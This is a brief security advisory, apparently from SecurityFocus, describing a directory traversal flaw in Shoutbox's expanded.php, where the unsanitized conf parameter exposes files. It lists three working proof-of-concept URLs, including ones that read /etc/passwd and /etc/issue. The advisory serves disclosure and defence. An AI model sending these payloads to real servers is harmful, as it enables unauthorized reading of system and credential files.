source: http://www.securityfocus.com/bid/7775/info

A problem in Shoutbox may result in traversal attacks. The vulnerability exists due to insufficient sanitization of user-supplied values to the expanded.php script, and could allow the viewing of potentially sensitive files by attackers. 

http://www.example.com/shoutbox/expanded.php?conf=../../../../../../../targetfile

http://www.example.com/shoutbox/expanded.php?conf=../../../../../../../etc/passwd

http://www.example.com/shoutbox/expanded.php?conf=../../../../../../../etc/issue